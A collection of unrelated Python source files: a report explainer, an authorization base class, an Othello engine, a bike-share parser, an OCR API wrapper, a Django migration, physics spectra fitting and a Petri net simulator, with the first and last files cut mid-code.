curr_head = tree_abs[0].get_head()
i = 1
while i < len(tree_abs):
if tree_abs[i].get_head() != curr_head:
dump_path(tree_abs[0].get_first_path(), tree_abs[i].get_first_path())
break
i += 1
def explain_conflict(trees):
explain_different_paths(trees)
def explain_report(rep):
print ">> Report found at", tags.location_str(rep.target_tag)
tags.print_tag(int(rep.target_tag), suppress_header = True)
print "Target value: " + rep.target_fact
print " - properties: " + str(rep.failing)
for p in rep.failing:
print ">>> Begin dump for:",p
involved_trees = [ i[p] for i in rep.inputs if p in i ]
explain_conflict(involved_trees)
print " >>> --- End report --- <<<\n\n"
src_path = sys.argv[1]
sites = sys.argv[2]
report = sys.argv[3]
tags = tag_manager.load_tags(src_path, sites)
with open(report, 'r') as f:
reports = yaml.load(f)
for raw_rep in reports:
rep = LegatoReport(raw_rep)
if rep.failing is not None and rep.report_type == "value":
explain_report(rep)
break
|
from .rules import Deny
from .context import Context
class Authorizations(object):
"""Authorizations base class.
Developper must inherit this class to create its own rules."""
def __init__(self, rules=None, default_rule=Deny()):
"""
Args:
rules (dict<Action, Rule>):
default_rule (Rule): default action taken if access method is not defined
"""
self.rules = rules or {}
self._default_rule = default_rule
def generate_error(self, rule, kwargs):
"""Build an error when access defined by rule is not granted
Args:
rule (Rule): an access rule
kwargs (dict): args received when asking for authorization
Returns:
Exception: exception raised by Ability if access is not granted
"""
return Exception("Access denied for {0} ({1})".format(rule.name, kwargs))
def can(self, action, *args, **kwargs):
"""Returns True if authorized to make action else False
Args:
action (Action)
Returns:
bool
"""
rule = self.rules.get(action, self._default_rule)
context = self._get_context(*args, **kwargs)
return rule(context)
def extend(self, rules):
"""Add/Override existing rules in current authorizations
Args:
rules (dict<Action, Rule>): new rules
"""
self.rules.update(rules)
def _get_context(self, *args, **kwargs):
"""Template method for creating the context evalued by rules
Returns:
Context
"""
return Context(args=args, kwargs=kwargs)
|
#---------------------------------------
#Since : 2018/09/16
#Update: 2019/07/25
# -*- coding: utf-8 -*-
#---------------------------------------
import numpy as np
from ringbuffer import RingBuffer
from copy import deepcopy
from parameters import Parameters
class Othello():
def __init__(self):
self.params = Parameters()
self.num = self.params.board_x
self.directions = np.array([[-1, -1], [0, -1], [1, -1], [-1, 0], [1, 0], [-1, 1], [0, 1], [1, 1]])
self.Ini_board()
def Ini_board(self):
self.board = self.Create_board()
self.current_player = self.params.black
self.seq_boards = RingBuffer(self.params.k_boards)
for i in range(self.params.k_boards):
self.seq_boards.add(np.zeros((self.num, self.num)))
self.seq_boards.add(deepcopy(self.board))
def Create_board(self):
b = np.zeros((self.num, self.num))
b[self.num // 2 - 1][self.num // 2 - 1] = self.params.white
b[self.num // 2 ][self.num // 2 -1] = self.params.black
b[self.num // 2 - 1][self.num // 2] = self.params.black
b[self.num // 2 ][self.num // 2] = self.params.white
return b
def Print_board(self):
print(" ", end='')
for j in range(self.num):
print(str(j)+"|", end='')
print("")
for i in range(self.num):
print(str(i)+"|", end='')
for j in range(self.num):
if self.board[i][j] == self.params.white:
print("o|", end='')
elif self.board[i][j] == self.params.black:
print("x|", end='')
else:
print(" |", end='')
print("")
def Put(self, b, x, y, player):
b[x][y] = player
return b
def Get_board(self):
return deepcopy(self.board)
def Get_board_size(self):
return (self.num, self.num)
def Get_action_size(self):
return self.params.action_size
def Get_winner(self):
b = self.board
winner = None
if self.Check_game_end():
if np.sum(b) * self.params.white > 0:
winner = self.params.white
elif np.sum(b) * self.params.white < 0:
winner = self.params.black
else:
winner = 0
return winner
def Get_valid_moves(self, p = None):
if p == None:
player = self.current_player
else:
player = p
valid_moves = []
moves = np.argwhere(self.board == 0)
if np.size(moves) != 0:
valid_flag = False
for x, y in moves:
valid = False
for i, j in self.directions:
row = x + i
col = y + j
if row >= 0 and col >= 0 and row < self.num and col < self.num:
if self.board[row][col] == player * (-1):
while True:
row += i
col += j
if row >= 0 and col >= 0 and row < self.num and col < self.num:
if self.board[row][col] == 0:
break
elif self.board[row][col] == player:
valid = True
break
else:
break
if valid:
valid_moves.append([x, y])
valid_flag = True
if valid_flag == False:
valid_moves = [[self.num - 1, self.num]]
else:
valid_moves = [[self.num - 1, self.num]]
return(valid_moves)
def Check_game_end(self):
if np.size(np.argwhere(self.board == 0)) == 0:
return(True)
elif np.size(np.argwhere(self.board == self.params.white)) == 0:
return(True)
elif np.size(np.argwhere(self.board == self.params.black)) == 0:
return(True)
elif self.Get_valid_moves(p = self.params.white)[0][1] == self.num and self.Get_valid_moves(p = self.params.black)[0][1] == self.num:
return(True)
else:
return(False)
def Put_stone(self, action):
if action[1] != self.num:
player = self.current_player
x = action[0]
y = action[1]
self.board[x][y] = self.current_player
for i, j in self.directions:
reverse = False
row = x + i
col = y + j
if row >= 0 and col >= 0 and row < self.num and col < self.num:
if self.board[row][col] == player * (-1):
while True:
row += i
col += j
if row >= 0 and col >= 0 and row < self.num and col < self.num:
if self.board[row][col] == 0:
break
elif self.board[row][col] == player:
reverse = True
break
else:
break
if reverse:
row = x + i
col = y + j
self.board[row][col] = player
while True:
row += i
col += j
if row >= 0 and col >= 0 and row < self.num and col < self.num:
if self.board[row][col] == player * (-1):
self.board[row][col] = player
else:
break
def Get_states(self):
temp_states = self.seq_boards.Get_buffer()
states = []
for i in range(self.params.k_boards):
states.append(np.where(temp_states[i] == self.params.white, 1, 0))
states.append(np.where(temp_states[i] == self.params.black, 1, 0))
if self.current_player == 1:
states.append(np.ones((self.num, self.num)))
else:
states.append(np.zeros((self.num, self.num)))
return np.array(states)
def Play_action(self, action):
self.Put_stone(action)
self.current_player *= -1
self.seq_boards.add(deepcopy(self.board))
def Get_current_player(self):
return self.current_player
if __name__ == '__main__':
ot = Othello()
ot.board = np.array([
[-1, -1, -1, -1, -1, -1],
[-1, -1, -1, -1, 0, 0],
[-1, -1, -1, -1, -1, 0],
[-1, -1, -1, -1, -1, 1],
[-1, -1, -1, -1, -1, 0],
[-1, 0, -1, -1, -1, -1]])
ot.Print_board()
print(ot.Get_valid_moves())
print(ot.Get_winner())
print(ot.Check_game_end())
# while(1):
# # print(ot.Get_states())
# print(ot.Get_valid_moves())
# action = list(map(int, input().split(",")))
# ot.Play_action(action)
# ot.Print_board()
# if ot.Check_game_end():
# winner = ot.Get_winner()
# print(winner)
# exit()
|
# Parser: zagster (e.g., Wichita)
import json, re
def parse(df, data, utc):
# df is a dict with the following keys:
# [u'feedurl', u'feedname', u'bssid', u'format', u'feedurl2', u'keyreq', u'parsername', u'rid']
# parse out desired info
data = data.split("\n")
clean_stations_list = []
antidupedict = dict()
# parse line by line
for line in data:
# remove line returns if any (shouldn't be)
line = line.strip()
# skip any lines that are blank
if line == "":
continue
json_match = re.match("var phpLocationsData = JSON\.parse\('(.+)'\);", line)
if json_match:
stns = json.loads(json_match.group(1))
for stn in stns:
#{"StationID":"04423b00-e62c-451c-909a-f5e471e674fa","StationName":"WSU - Metroplex","NetworkID":"7d3b92d2-e72b-4683-a41b-3cf240a48c7a","CreatedOn":"/Date(1550168930000)/","MondayOpen":"00:00","MondayClose":"24:00","TuesdayOpen":"00:00","TuesdayClose":"24:00","WednesdayOpen":"00:00","WednesdayClose":"24:00","ThursdayOpen":"00:00","ThursdayClose":"24:00","FridayOpen":"00:00","FridayClose":"24:00","SaturdayOpen":"00:00","SaturdayClose":"24:00","SundayOpen":"00:00","SundayClose":"24:00","Address":"","Lat":"37.735413","Lng":"-97.278793","DockType":"K1"}
stnid = stn['StationID']
name = stn['StationName']
docks = ''
bikes = ''
spaces = ''
# stnid, lat, lng, docks, bikes, spaces, name, active
clean_stations_list.append([stnid, stn['Lat'], stn['Lng'], docks, bikes, spaces, name, 'yes'])
# We only want this one line, break out of html file
break
# check if we have retrieved any data
if len(clean_stations_list) == 0:
print(utc + ' ' + df['bssid'] + " Parser did not find any station's data.")
return False
return clean_stations_list
|
class Solution:
def powerfulIntegers(self, x, y, bound):
powx, curx = [1], x
if x != 1:
while curx < bound:
powx.append(curx)
curx *= x
powy, cury = [1], y
if y != 1:
while cury < bound:
powy.append(cury)
cury *= y
s = set()
for i in powx:
for j in powy:
if i + j <= bound: s.add(i + j)
else: break
return list(s)
sol = Solution()
print(sol.powerfulIntegers(1, 2, 100))
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 2019/2/13 13:59
# @User : zhunishengrikuaile
# @File : General.py
# @Email : binary@shujian.org
# @MyBlog : WWW.SHUJIAN.ORG
# @NetName : 書劍
# @Software: 百度识图Api封装
# 通用文字识别（含位置信息版）
# URL参数：
## access_token 调用AccessToken模块获取
# Headers参数
## 参数：Content-Type ，值：application/x-www-form-urlencoded
# Body请求参数：
## 参数：image， 是否必选：和url二选一， 类型：string， 可选值范围：null 说明：图像数据，base64编码后进行urlencode，要求base64编码和urlencode后大小不超过4M，最短边至少15px，最长边最大4096px,支持jpg/png/bmp格式，当image字段存在时url字段失效
## 参数：url， 是否必选：和image二选一， 类型：string， 可选值范围：null 说明：图片完整URL，URL长度不超过1024字节，URL对应的图片base64编码后大小不超过4M，最短边至少15px，最长边最大4096px,支持jpg/png/bmp格式，当image字段存在时url字段失效，不支持https的图片链接
## 参数：recognize_granularity， 是否必选：false， 类型：string， 可选值范围：[big、small] 说明：是否定位单字符位置，big：不定位单字符位置，默认值；small：定位单字符位置
## 参数：language_type， 是否必选：false， 类型：string， 可选值范围：[CHN_ENG、ENG、POR、FRE、GER、ITA、SPA、RUS、JAP、KOR] 说明：识别语言类型，默认为CHN_ENG。可选值包括： - CHN_ENG：中英文混合； - ENG：英文； - POR：葡萄牙语； - FRE：法语； - GER：德语； - ITA：意大利语； - SPA：西班牙语； - RUS：俄语； - JAP：日语； - KOR：韩语
## 参数：detect_direction， 是否必选：false， 类型：string， 可选值范围：[true、false] 说明：是否检测图像朝向，默认不检测，即：false。朝向是指输入图像是正常方向、逆时针旋转90/180/270度。可选值包括: - true：检测朝向； - false：不检测朝向。
## 参数：detect_language， 是否必选：FALSE， 类型：string， 可选值范围：[true、false] 说明：是否检测语言，默认不检测。当前支持（中文、英语、日语、韩语）
## 参数：vertexes_location， 是否必选：FALSE， 类型：string， 可选值范围：[true、false] 说明：是否返回文字外接多边形顶点位置，不支持单字位置。默认为false
## 参数：probability， 是否必选：false， 类型：string， 可选值范围：[true、false] 说明：是否返回识别结果中每一行的置信度
# ---------------------------------------------------------------------------------------
# 返回说明
## 字段：direction， 是否必选：否 类型：int32， 说明：图像方向，当detect_direction=true时存在。 - -1:未定义， - 0:正向， - 1: 逆时针90度， - 2:逆时针180度， - 3:逆时针270度
## 字段：log_id， 是否必选：是 类型：uint64， 说明：唯一的log id，用于问题定位
## 字段：words_result， 是否必选：是 类型：array()， 说明：定位和识别结果数组
## 字段：words_result_num， 是否必选：是 类型：uint32， 说明：识别结果数，表示words_result的元素个数
## 字段：+vertexes_location， 是否必选：否 类型：array()， 说明：当前为四个顶点: 左上，右上，右下，左下。当vertexes_location=true时存在
## 字段：++x， 是否必选：是 类型：uint32， 说明：水平坐标（坐标0点为左上角）
## 字段：++y， 是否必选：是 类型：uint32， 说明：垂直坐标（坐标0点为左上角）
## 字段：+location， 是否必选：是 类型：array()， 说明：位置数组（坐标0点为左上角
## 字段：++left， 是否必选：是 类型：uint32， 说明：表示定位位置的长方形左上顶点的水平坐标
## 字段：++top， 是否必选：是 类型：uint32， 说明：表示定位位置的长方形左上顶点的垂直坐标
## 字段：++width， 是否必选：是 类型：uint32， 说明：表示定位位置的长方形的宽度
## 字段：++height， 是否必选：是 类型：uint32， 说明：表示定位位置的长方形的高度
## 字段：+words， 是否必选：否 类型：string， 说明：识别结果字符串
## 字段：+chars， 是否必选：否 类型：array() ， 说明：单字符结果，recognize_granularity=small时存在
## 字段：++location， 是否必选：是 类型：array()， 说明：位置数组（坐标0点为左上角）
## 字段：+++left， 是否必选：是 类型：uint32， 说明：表示定位位置的长方形左上顶点的水平坐标
## 字段：+++top， 是否必选：是 类型：uint32， 说明：表示定位位置的长方形左上顶点的垂直坐标
## 字段：+++width， 是否必选：是 类型：uint32， 说明：表示定位定位位置的长方形的宽度
## 字段：+++height， 是否必选：是 类型：uint32， 说明：表示位置的长方形的高度
## 字段：++char， 是否必选：是 类型：string， 说明：单字符识别结果
## 字段：probability， 是否必选：否 类型：object， 说明：识别结果中每一行的置信度值，包含average：行置信度平均值，variance：行置信度方差，min：行置信度最小值
import os
import base64
import requests
from config.config import LOCALHOST_PATH, URL_LIST_URL
from bin.AccessToken.AccessToken import AccessToken
ACCESS_TOKEN = AccessToken().getToken()
GENERAL_URL = URL_LIST_URL['GENERAL'] + '?access_token={ACCESS_TOKEN}'.format(ACCESS_TOKEN=ACCESS_TOKEN['access_token'])
class GeneralSuper(object):
pass
class General(GeneralSuper):
def __init__(self, image=None, url=None, recognize_granularity='small', language_type='CHN_ENG',
detect_direction=True, detect_language=True, vertexes_location=False, probability=True):
self.HEADER = {
'Content-Type': 'application/x-www-form-urlencoded',
}
self.IMAGE_CONFIG = {
'recognize_granularity': recognize_granularity,
'language_type': language_type,
'detect_direction': detect_direction,
'detect_language': detect_language,
'vertexes_location': vertexes_location,
'probability': probability
}
if image is None:
if url is not None:
self.IMAGE_CONFIG['url'] = url
elif url is None:
imagePath = os.path.exists(LOCALHOST_PATH['PATH'] + image)
if imagePath == True:
images = LOCALHOST_PATH['PATH'] + image
with open(images, 'rb') as image1:
self.IMAGE_CONFIG['image'] = base64.b64encode(image1.read())
elif url and image is not None:
self.IMAGE_CONFIG['url'] = url
def postGeneral(self):
try:
general = requests.post(url=GENERAL_URL, headers=self.HEADER, data=self.IMAGE_CONFIG)
except AttributeError:
return 'image和url参数任选其一！'
return general.json()
|
# Generated by Django 3.0.4 on 2020-04-28 19:51
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Classification',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('description', models.CharField(max_length=50)),
],
),
migrations.CreateModel(
name='GoverningBody',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('classification', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='governing_body.Classification')),
],
),
]
|
class Board(object):
GAME_SPACES = 120
def __init__(self):
self.p1position = self.__class__.GAME_SPACES
self.p2position = self.__class__.GAME_SPACES
def peg_p1(self, score):
self.p1position -= score
def peg_p2(self, score):
self.p2position -= score
def get_p1_position(self):
return self.p1position
def get_p2_position(self):
return self.p2position
def __str__(self):
result = ''
result += 'Player 1: ' + str(self.p1position) + ', Player 2: ' + str(self.p2position)
return result |
import matplotlib.pyplot as plt
import numpy as np
# import scipy.odr
# from scipy.optimize import curve_fit
import scipy.linalg
import sympy as sp
from devices.mca import MeasMCA
import fitting
import plot
import utils
def spectra(
am_path: str,
fe_path: str,
noise_path: str,
gain: float,
voltage: float,
voltage_std: float,
mca_diff_nonlin: float = None,
mca_int_nonlin: float = None,
fig_titles: bool = True,
name: str = None,
vlines: bool = True,
sec_fits: bool = True) -> None:
"""Analyze spectral measurement"""
title = "Spectra"
if name:
title += f" ({name})"
utils.print_title(title)
am = MeasMCA(am_path, diff_nonlin=mca_diff_nonlin, int_nonlin=mca_int_nonlin)
fe = MeasMCA(fe_path, diff_nonlin=mca_diff_nonlin, int_nonlin=mca_int_nonlin)
noise = MeasMCA(noise_path, diff_nonlin=mca_diff_nonlin, int_nonlin=mca_int_nonlin)
fig: plt.Figure = plt.figure()
if fig_titles:
title = "Spectral measurements"
if name:
title += f" ({name})"
fig.suptitle(title)
fig.subplots_adjust(bottom=0.2, right=0.85)
ax1: plt.Axes = fig.add_subplot()
ax2: plt.Axes = ax1.twinx()
ax1.set_xlim(0, am.channels[-1])
ax2.set_xlim(0, am.channels[-1])
am_subtracted = am.counts - noise.counts * noise.real_length / am.real_length
fe_subtracted = fe.counts - noise.counts * noise.real_length / fe.real_length
y_mult = 1.1
ax1.set_ylim(0, np.max(am_subtracted)*y_mult)
ax2.set_ylim(0, np.max(fe_subtracted)*y_mult)
line_am = ax1.plot(
am.channels,
am_subtracted,
label="$^{241}$Am", color="darkgrey")[0]
line_fe = ax2.plot(
fe.channels,
fe_subtracted,
label="$^{55}$Fe", color="peru")[0]
# line_noise = ax1.plot(noise.data, label="noise", color="orange")[0]
try:
fit_am = fitting.fit_am(am, ax1, subtracted=am_subtracted, vlines=vlines)
except RuntimeError:
print("WARNING! Am fit failed.")
fit_am = None
try:
fit_fe = fitting.fit_fe(fe, ax2, subtracted=fe_subtracted, vlines=vlines)
except (RuntimeError, IndexError):
print("WARNING! Fe fit failed.")
fit_fe = None
if fit_fe is not None and fit_am is not None:
ind_am_peak = fit_am[0][1]
ind_fe_peak = fit_fe[0][0][1]
ind_fe_escape_peak = fit_fe[1][0][1]
print(f"Am peak index: {ind_am_peak}±{np.sqrt(fit_am[1][1, 1])}")
print(f"Fe peak index: {ind_fe_peak}±{np.sqrt(fit_fe[0][1][1, 1])}")
print(f"Fe escape peak index: {ind_fe_escape_peak}±{np.sqrt(fit_fe[1][1][1, 1])}")
am_peak = 59.5409e3
fe_peak = 5.90e3
fe_escape_peak = 3.19e3
cal_x = np.array([ind_am_peak, ind_fe_peak, ind_fe_escape_peak])
cal_y = np.array([am_peak, fe_peak, fe_escape_peak])
cal_xerr = np.sqrt([fit_am[1][1, 1], fit_fe[0][1][1, 1], fit_fe[1][1][1, 1]])
print("Energy calibration x errors:")
print(cal_xerr)
fit = fitting.fit_odr(fitting.poly1, cal_x, cal_y, std_x=cal_xerr)
a = fit[0][0]
b = fit[0][1]
cal_covar = fit[1]
cal_fig: plt.Figure = plt.figure()
cal_ax: plt.Axes = cal_fig.add_subplot()
cal_fit_x = np.array([0, 1024])
cal_ax.errorbar(
cal_x, cal_y / 1000,
xerr=cal_xerr / 1000,
fmt=".", capsize=3,
label="centroids of measured peaks"
)
cal_ax.plot(
cal_fit_x,
fitting.poly1(cal_fit_x, a, b) / 1000,
label=f"linear fit (y = {fit[0][0]:.2e}±{np.sqrt(fit[1][0, 0]):.2e}x + "
f"{fit[0][1]:.2e}±{np.sqrt(fit[1][1, 1]):.2e})"
)
if fig_titles:
cal_suptitle = "Spectral calibration"
if name:
cal_suptitle += f" ({name})"
cal_fig.suptitle(cal_suptitle)
cal_ax.set_xlabel("MCA channel")
cal_ax.set_ylabel("Energy (keV)")
cal_ax.legend(fontsize=8)
cal_filename = "spectral_calibration"
if name:
cal_filename += f"_{name}"
plot.save_fig(cal_fig, cal_filename)
else:
a = 0
b = 0
def ind_conv_func(channel: int):
"""Convert MCA index to energy (keV)"""
return (a * channel + b) / 1000
def ind_label_func(channels: np.ndarray):
"""Convert energy value to text label"""
return [f"{ind_conv_func(x):.2f}" for x in channels]
if a != 0:
# The correspondence of the values is dependent on the manual limits
ax3 = plot.double_x_axis(ax1, tick_locs=np.arange(0, am.channels[-1], 200), tick_label_func=ind_label_func)
ax3.set_xlabel("Energy (keV)")
if sec_fits:
try:
am_sec_fits = [
fitting.fit_manual(am, ax1, 250, 300, subtracted=am_subtracted, vlines=vlines),
fitting.fit_manual(am, ax1, 300, 360, subtracted=am_subtracted, vlines=vlines),
fitting.fit_manual(am, ax1, 380, 440, subtracted=am_subtracted, vlines=vlines),
fitting.fit_manual(am, ax1, 710, 830, subtracted=am_subtracted, vlines=vlines)
]
except RuntimeError:
print("WARNING! Secondary fits failed.")
am_sec_fits = None
if fit_fe is not None and fit_am is not None and am_sec_fits is not None:
ch_sym, a_sym, b_sym = sp.symbols("ch a b")
func = a_sym*ch_sym + b_sym
for i_fit, fit in enumerate(am_sec_fits):
ch = fit[0][1]
energy, energy_std = utils.error_propagation(
func,
[ch_sym, a_sym, b_sym],
np.array([ch, a, b]),
covar=scipy.linalg.block_diag(fit[1][1, 1], cal_covar)
)
print(f"Am secondary peak {i_fit+1}: ch {ch:.3f}±{np.sqrt(fit[1][1, 1]):.5f}, {float(energy) / 1000:.3f}±{float(energy_std)/1000:.5f} keV")
ax1.set_xlabel("MCA channel")
ax1.set_ylabel(r"Count ($^{241}Am$)")
ax2.set_ylabel(r"Count ($^{55}Fe$)")
# plot.legend_multi(ax1, [line_am, line_fe, line_noise])
plot.legend_multi(ax1, [line_am, line_fe])
filename = "spectra"
if name:
filename += f"_{name}"
plot.save_fig(fig, filename)
|
from glob import glob
from os import path
'''
Function "path_formater" convert a arr of relative paths to a arr of full paths
using a parent dir.
Arguments:
parent_dir: It is a string which indicates the path to a parent directory
extension: It is a string which indicates the type of files the function
is looking for
index: It is an integer, that indicates the end of the parent path, once
splited using the sistem separator
Return: A parser object
'''
def recursive_folder_search(parent_dir, extension, index):
items = glob(
parent_dir + '/*[!env][!src]*',
recursive=False
)
interest_folders = []
for item in items:
body, ext = path.splitext(item)
if path.isdir(item):
interest_folders = interest_folders + \
recursive_folder_search(item, extension, index)
elif path.isfile(item) and ext == extension:
folder = body.split(path.sep)
del folder[-1]
folder = path.sep.join(folder[index:])
if folder not in interest_folders:
interest_folders.append(folder)
return interest_folders
|
#!/usr/bin/env python
# BSD 3-Clause License
#
# Copyright (c) 2019, SIM Lab
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
import numpy as np
from scipy import sparse
import copy
import itertools
import networkx as nx
import random
class PetriNetDefinition():
def __init__(self):
self._trs=[]
self._pls=[]
self._a_minus = np.array([], dtype=np.int)
self._a_plus = np.array([], dtype=np.int)
self._tr_times={}
self._tr_values=[]
self._sparse_at = None
self._sparse_a_minust = None
def get_tr_time(self, tr_name):
return self._tr_times(tr_name)
def add_transition(self, name, inputs=[], outputs=[], time=1, value=1):
if name not in self._trs:
self._trs.append(name)
self._tr_times[name] = time
self._tr_values.append(value)
else:
raise ValueError("Transition name {} already exists".format(name))
if self._sparse_at != None or self._sparse_a_minust != None:
self._sparse_at = None
self._sparse_a_minust = None
if len(self._pls)==0:
return
minus = np.zeros((1,len(self._pls)), dtype=np.int)
plus = np.zeros((1,len(self._pls)), dtype=np.int)
if len(self._trs)==1: #this is first transition added
self._a_minus = minus
self._a_plus = plus
else:
self._a_minus = np.append(self._a_minus, minus, axis=0)
self._a_plus = np.append(self._a_plus, plus, axis=0)
for iname in inputs:
tr_idx = self._trs.index(name)
pl_idx = self._pls.index(iname)
self._a_minus[tr_idx][pl_idx] += 1
for oname in outputs:
tr_idx = self._trs.index(name)
pl_idx = self._pls.index(oname)
self._a_plus[tr_idx][pl_idx] += 1
def add_place(self, name, inputs=[], outputs=[]):
if name not in self._pls:
self._pls.append(name)
else:
raise ValueError("Place name {} already exists".format(name))
if self._sparse_at != None or self._sparse_a_minust != None:
self._sparse_at = None
self._sparse_a_minust = None
if len(self._trs)==0:
return
minus = np.zeros((len(self._trs),1), dtype=np.int)
plus = np.zeros((len(self._trs),1), dtype=np.int)
if len(self._pls)==1: #this is the first place added
self._a_minus = minus
self._a_plus = plus
else:
self._a_minus = np.append(self._a_minus, minus, axis=1)
self._a_plus = np.append(self._a_plus, plus, axis=1)
for iname in inputs:
tr_idx = self._trs.index(iname)
pl_idx = self._pls.index(name)
self._a_plus[tr_idx][pl_idx] += 1
for oname in outputs:
tr_idx = self._trs.index(oname)
pl_idx = self._pls.index(name)
self._a_minus[tr_idx][pl_idx] += 1
def add_pl_arcs(self, name, inputs=[], outputs=[]):
for iname in inputs:
tr_idx = self._trs.index(iname)
pl_idx = self._pls.index(name)
self._a_plus[tr_idx][pl_idx] += 1
for oname in outputs:
tr_idx = self._trs.index(oname)
pl_idx = self._pls.index(name)
self._a_minus[tr_idx][pl_idx] += 1
def rm_tr_arc(self, trname, plname, out = False):
tr_idx = self._trs.index(trname)
pl_idx = self._pls.index(plname)
if out:
if self._a_plus[tr_idx][pl_idx] > 0:
self._a_plus[tr_idx][pl_idx] -= 1
else:
raise ValueError("No arc exists!")
else:
if self._a_minus[tr_idx][pl_idx] > 0:
self._a_minus[tr_idx][pl_idx] -= 1
else:
raise ValueError("No arc exists!")
def rm_pl_arc(self, plname, trname, out = False):
tr_idx = self._trs.index(trname)
pl_idx = self._pls.index(plname)
if not out:
if self._a_plus[tr_idx][pl_idx] > 0:
self._a_plus[tr_idx][pl_idx] -= 1
else:
raise ValueError("No arc exists!")
else:
if self._a_minus[tr_idx][pl_idx] > 0:
self._a_minus[tr_idx][pl_idx] -= 1
else:
raise ValueError("No arc exists!")
def add_tr_arcs(self, name, inputs=[], outputs=[]):
for iname in inputs:
tr_idx = self._trs.index(name)
pl_idx = self._pls.index(iname)
self._a_minus[tr_idx][pl_idx] += 1
for oname in outputs:
tr_idx = self._trs.index(name)
pl_idx = self._pls.index(oname)
self._a_plus[tr_idx][pl_idx] += 1
def test_firing(self, firing, firing_result, state):
conflicts = firing_result>state
conflicted = []
for i in range(len(conflicts)):
if conflicts[i]:
conflicters = []
for j in range(len(firing)):
if firing[j] and self._a_minus[j,i]>0:
conflicters.append(self._trs[j])
conflicted.append((self._pls[i], conflicters, state[i,0]))
return conflicted
def evaluate(self, state, last_countdown, timestep, random_tiebreak=False):
next_state = copy.deepcopy(state)
countdown = copy.deepcopy(last_countdown)
countdown, interrupted_first=self.advance_time(next_state, countdown, 0)
enabled = countdown[countdown>0]
enabled_names = [self._trs[i] for i in range(len(countdown)) if countdown[i,0]>0]
in_conflict = []
if len(enabled)==0:
self._stopped=True
return next_state, countdown, countdown==False, "dead", 0,enabled_names,[],[],[],[]
else:
if timestep==None:
timestep=min(enabled)
else:
if timestep>min(enabled):
raise ValueError("Step must be less than time to next event")
elapsed_time=timestep
firing = countdown==timestep
if self._sparse_at==None:
self._sparse_at = sparsemat = sparse.csr_matrix(np.transpose(self._a_plus))-sparse.csr_matrix(np.transpose(self._a_minus))
if self._sparse_a_minust==None:
self.sparse_a_minust=sparse.csr_matrix(np.transpose(self._a_minus))
firing_needs = self.sparse_a_minust.dot(sparse.csr_matrix(firing)).todense()
firing_result = self._sparse_at.dot(sparse.csr_matrix(firing)).todense()
conflicted = self.test_firing(firing, firing_needs, state)
if len(conflicted)>0:
resolved = []
rand_resolved = []
all_dont_fire=[]
rand_selection = {}
for pl,trs,avail in conflicted:
rand_selection[pl]=[]
tr_idxs = map(lambda tr: self._trs.index(tr),trs)
tr_vals = [self._tr_values[idx] for idx in tr_idxs]
pl_idx = self._pls.index(pl)
tr_costs = [self._a_minus[idx, pl_idx] for idx in tr_idxs]
sorted_trs = sorted(zip(tr_vals,tr_idxs,tr_costs),reverse=True)
avail = state[pl_idx,0]
dont_fire = []
solved = True
best_trs = []
while avail > 0 and len(sorted_trs)>0:
current_val = sorted_trs[0][0]
best_trs = []
while len(sorted_trs)>0 and sorted_trs[0][0]==current_val:
best_trs.append(sorted_trs.pop(0))
if sum(map(lambda g: g[2], best_trs)) > avail:
if current_val <= avail:
if random_tiebreak:
while current_val <= avail:
sel = best_trs.pop(random.randint(0,len(best_trs)-1))
rand_selection[pl].append(self._trs[sel[1]])
avail-=current_val
for sel in best_trs:
dont_fire.append(sel[1])
rand_resolved.append(pl)
else:
solved = False
break
else:
for sel in best_trs:
dont_fire.append(sel[1])
else:
avail-=len(best_trs)*current_val
for sel in sorted_trs:
dont_fire.append(sel[1])
if len(dont_fire)==len(tr_idxs):
solved = False
else:
all_dont_fire.append(dont_fire)
if solved:
resolved.append(pl)
if len(resolved)<len(conflicted):
in_conflict=[(s[0],s[1],s[2],rand_selection[s[0]]) for s in conflicted if s[0] not in resolved]
self._stopped=True
return next_state, countdown, firing, "conflict", 0,enabled_names, [], [], [], in_conflict
else:
in_conflict=[(s[0],s[1],s[2],rand_selection[s[0]]) for s in conflicted if s[0] in rand_resolved]
for tr_idx in all_dont_fire:
firing[tr_idx,0]=False
firing_needs = self.sparse_a_minust.dot(sparse.csr_matrix(firing)).todense()
firing_result = self._sparse_at.dot(sparse.csr_matrix(firing)).todense()
next_state = next_state+np.asarray(firing_result)
countdown, interrupted=self.advance_time(next_state, countdown, timestep)
interrupted+=interrupted_first
if len(interrupted)==0:
status = "ok"
else:
status = "interrupt"
enabled = countdown[countdown>0]
enabled_after = [self._trs[i] for i in range(len(countdown)) if countdown[i,0]>0]
outfiring = np.ndarray.flatten(firing*1).tolist()
outfiring = zip(self._trs, outfiring)
